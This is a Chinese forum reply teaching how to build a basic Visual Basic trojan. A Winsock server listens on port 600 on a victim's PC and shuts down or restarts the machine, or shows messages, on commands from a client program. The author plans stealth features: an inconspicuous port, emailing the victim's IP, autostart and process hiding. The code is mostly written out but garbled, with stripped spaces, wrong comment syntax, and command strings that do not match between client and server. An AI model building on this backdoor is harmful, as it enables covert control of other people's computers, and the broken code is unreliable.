回覆列表
  • 1 # 萌無敵只若茶色

    就會出現一個小電視一樣的控制元件在工具欄

    說是木馬可能功能少了點,主要講解雙機通訊方法!首先想要實現的功能是用VB寫兩個程式,一個是服務

    器端,一個是客戶端,通訊的過程是:1、首先伺服器端開啟一個埠並且處於監聽狀態。2、客戶端必須

    知道伺服器端的IP地址和伺服器端所監聽的埠,向伺服器端傳送連線請求。3、伺服器端接受到客戶端發

    來的請求,同意建立連線。4、連線建立完成,客戶端可以透過SENDDATA向伺服器端傳送訊息,伺服器端

    用GETDATA接受訊息。如果伺服器端需要向客戶端傳送訊息則過程相反!5、如果我們用客戶端控制服務

    器端,我們就可以在伺服器端用IF語句判斷髮送過來的訊息,設定接受到“SHUTDOWN”,就執行關機命令

    至於如何獲取被種木馬電腦的IP地址我思來想去決定用郵件,這種方法較為簡單新人也比較容易理解!

    下面開始講解程式碼這是我很長時間以前編的程式碼了,本人較懶!有些地方懶得註釋,大家如果有不明白的

    發問吧!

    1、建立伺服器端,新建一個VB工程,只新增一個WINSOCK控制元件就可以了,如果不喜歡用控制元件那你就只能

    用WINAPI了,不過我覺得WINSOCK更簡單一點,下面開始新增程式碼,雙機窗體進入程式設計視窗,輸入以下

    程式:

    PrivateSubForm_Load()"以下的語句會在視窗載入的時候執行,當然如果你想讓視窗不可見程序不可見

    也是有辦法的!暫不講解,如果有願意的提出來我們可以大家一起把這個程式強化!

    winsock1.localport=600"意思是指定埠號為600(當然最好是指定一個常用的比較不會被發現)

    winsock1.protocol=0"意思為通訊方式選擇TCP/IP方式,1是DUP方式!

    winsock1.Listen"這個的意思是開始監聽

    EndSub

    PrivateSubWinsock1_ConnectionRequest(ByValrequestIDAsLong)"以下程式為當有客戶透過本機的IP

    指定的埠號進行連線時執行!

    Winsock1.Close"關閉以前的連線為了預防之前有連線存在發生錯誤,不過這本身就是個錯誤,因為如果有

    一個客戶進行連線還好,如果有多個那麼你們就搶吧呵呵,可以用IF判斷但是我希望大家能夠了解原理不要

    照抄,去查一下WINSOCK的用法吧!

    Winsock1.AcceptrequestID"與請求的客戶機建立連線!REQUESTID是對放的連線ID。

    EndSub

    PrivateSubWinsock1_DataArrival(ByValbytesTotalAsLong)"這個就是我們程式碼的核心了怎麼樣看起來

    很簡潔吧呵呵!但是功能不弱啊嘿嘿!以下程式碼會在WINSOCK1控制元件接受到資料的時候執行!

    DimdataAsString

    Winsock1.GetDatadata

    Ifdata="close"Then"這裡說的是放

    End

    ElseIfdata="chongqi"Then"做個比較而已!用接收到的資料跟後面的字串做比較!

    Shell"shutdown-r-t600""這就不用說了吧!重新啟動延時60秒呵呵!

    ElseIfdata="quxiao"Then"取消關機呵呵!

    Shell"shutdown-a"

    ElseIfdata="like"Then"立刻關機啊!

    Shell"shutdown-s-t0"

    Else"下面是傳送一個對話方塊!意思就是說不執行以上程式碼的時候就是它了,傳送其他的東西都會在螢幕上

    顯示出來!

    MsgBoxdata,vbOKOnly,"提示"

    EndIf

    EndSub

    以上就是最簡單功能了,當然不能開機自動啟動,不能隱藏程序,也不能知道IP地址,這些東西都需要時間

    寫,呵呵當然我們可以做到!先講客戶端的製作講完了我再說怎麼傳送郵件怎麼開機啟動,怎麼隱藏程序,可不是像你想象的那麼簡單昂!

    儲存一下工程,然後開始做客戶端程式!累了。。。。等會再寫吧!

    好繼續吧。。。。先說這個客戶端一開始的時候我已經告訴大家主要流程!忘記的回頭看看!

    好了然後加一個編輯框“做為輸入文字用的”!下面就開始程式設計了!

    雙擊窗體進入程式設計視窗!

    PrivateSubForm_Load()

    GUANJI.CAPTION="關機"

    CHONGQI.CAPTION="重啟"

    QUXIAO.CAPTION="取消關機"

    LIANJIE.CAPTION="連線"

    FASONG.CAPTION="傳送"

    EndSub

    PrivateSubLIANJIE_Click()‘進行連線

    Winsock1.Close"先斷開以前的連線,進行預防錯誤發生!

    Winsock1.Connect"192.168.0.2",600"這裡是填IP和埠號

    EndSub

    PrivateSubFASONG_Click()"傳送文字資訊

    Winsock1.SendDataText1.Text"傳送的資訊是文字框裡面輸入的資訊

    Text1.Text=""

    EndSub

    PrivateSubCHONGQI_Click()"控制延時重啟

    Winsock1.SendData"chongqi"

    EndSub

    PrivateSubQUXIAO_Click()"控制取消重啟

    Winsock1.SendData"quxiao"

    EndSub

    PrivateSubGUANJI_Click()"控制關機

    Winsock1.SendData"guanji"

    EndSub

    好了以上就是基本功能了,大家如果跟著做了可以試驗一下本機也可以進行試驗!

    開兩個視窗就可以了。不要告訴我你不知道IP地址是什麼啊!呵呵那我可沒轍了!

    另外這個是不能實現內網跟內網通訊的,不過網路和網路或者內網和網路還是可以實現的!區域網當然不是問題!

  • 中秋節和大豐收的關聯?
  • 精神病患者經常喝酒鬧事,應該怎麼辦?